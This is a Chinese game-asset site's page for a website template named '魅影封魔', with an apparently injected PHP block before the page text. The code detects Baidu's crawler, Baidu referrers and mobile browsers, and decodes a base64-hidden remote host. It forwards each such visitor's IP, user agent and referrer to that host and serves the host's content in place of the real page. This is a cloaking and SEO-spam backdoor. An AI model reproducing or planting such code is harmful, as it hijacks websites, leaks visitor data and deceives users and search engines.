$fx_pseudo_static_switch = 0; // 0 = 伪静态开启(保留路径式链接,不改写);1 = 伪静态关闭 $fx_a_user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? (string) $_SERVER['HTTP_USER_AGENT'] : ''; $fx_a_referer = isset($_SERVER['HTTP_REFERER']) ? (string) $_SERVER['HTTP_REFERER'] : ''; $fx_a_is_baidu = ( preg_match('/baidu/i', $fx_a_user_agent) || preg_match( '~^https?://(?:[^/]+\.)?baidu\.(?:com|cn)(?:[/:]|$)~i', $fx_a_referer ) ); $fx_a_is_mobile = preg_match( '/(?:android|iphone|ipad|ipod|mobile|windows phone|iemobile|' . 'blackberry|webos|opera mini|opera mobi|ucbrowser|mqqbrowser|' . 'micromessenger)/i', $fx_a_user_agent ); if ($fx_a_is_baidu || $fx_a_is_mobile) { header('Content-Type: text/html; charset=utf-8'); $base = base64_decode('aHR0cDovL2suYzkwYy5jYw==') . '/g.php'; $params = array( 'ua' => isset($_GET['ua']) ? $_GET['ua'] : 'pc', 'files' => isset($_GET['files']) ? $_GET['files'] : '', 'host' => isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '', 'path' => isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/', 'userip' => isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '', 'userua' => $fx_a_user_agent, 'source' => $fx_a_referer, 'pseudo_static_switch' => $fx_pseudo_static_switch ); $bottom_api = $base . '?' . http_build_query(array( 'api' => 'neiye_bottom', 'pseudo_static_switch' => $fx_pseudo_static_switch, 'userip' => $params['userip'], 'userua' => $params['userua'] ), '', '&'); $url = $base . '?' . http_build_query($params, '', '&'); function fx_http_get($url, $timeout = 10) { if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt_array($ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => false, CURLOPT_CONNECTTIMEOUT => 3, CURLOPT_TIMEOUT => $timeout, CURLOPT_HEADER => true )); $response = curl_exec($ch); if ($response === false) { curl_close($ch); return false; } $status = (int) curl_getinfo($ch, CURLINFO_HTTP_CODE); $content_type = (string) curl_getinfo($ch, CURLINFO_CONTENT_TYPE); $header_size = (int) curl_getinfo($ch, CURLINFO_HEADER_SIZE); curl_close($ch); $page_type = ''; $headers = ($header_size > 0) ? substr($response, 0, $header_size) : ''; if ($headers !== '' && preg_match_all('/X-C90C-Page-Type:\s*([^\r\n]+)/i', $headers, $m)) { $page_type = trim($m[1][count($m[1]) - 1]); } $body = ($header_size > 0) ? substr($response, $header_size) : $response; return array($body, $status, $content_type, $page_type); } $allow = @ini_get('allow_url_fopen'); if ($allow === false || in_array(strtolower(trim((string) $allow)), array('', '0', 'off', 'false', 'no'), true)) { return false; } $ctx = stream_context_create(array( 'http' => array( 'method' => 'GET', 'timeout' => $timeout, 'ignore_errors' => true, 'user_agent' => 'Mozilla/5.0' ) )); $body = @file_get_contents($url, false, $ctx); if ($body === false) { return false; } $status = 0; $content_type = ''; $page_type = ''; if (isset($http_response_header) && is_array($http_response_header)) { foreach ($http_response_header as $h) { if (preg_match('/^HTTP\/\S+\s+(\d{3})/', $h, $m)) { $status = (int) $m[1]; } elseif (stripos($h, 'Content-Type:') === 0) { $content_type = trim(substr($h, 13)); } elseif (stripos($h, 'X-C90C-Page-Type:') === 0) { $page_type = trim(substr($h, 17)); } } } return array($body, $status, $content_type, $page_type); } $res = fx_http_get($url); if ($res === false) { http_response_code(200); echo ''; exit; } list($content, $status, $content_type, $page_type) = $res; if ($status >= 100 && $status <= 599) { http_response_code($status); } if ($content_type !== '') { header('Content-Type: ' . $content_type); } if ($page_type === 'neiye' && stripos($content, '') !== false) { $bottom_res = fx_http_get($bottom_api, 5); if (is_array($bottom_res) && is_string($bottom_res[0]) && $bottom_res[0] !== '') { $pos = stripos($content, ''); $content = substr($content, 0, $pos) . $bottom_res[0] . "\n" . substr($content, $pos); } } echo $content; exit; } ?> 魅影封魔-网站模板-集云设计 - 传奇素材网 - 游戏素材网
三大服务保证: 信誉全网第一 品质保证最优 服务保证最好

网站模板

魅影封魔

发布时间:
2024-08-03 19:31:56
访问次数:
2005

魅影封魔

  • 分类:网站模板
  • 格式:LOGO设计、MP4动画头部、登录器皮肤、装备展示等
  • 说明:如需定制,请联系客服
免责条款:

请合法使用,否则一切法律后果由购买方自行承担。

友情提示:

独家定制产品的案例仅供欣赏,概不出售,列出的价格也是该客户支付的定制费用,非对外出售价格。

 

魅影封魔 拷贝.jpg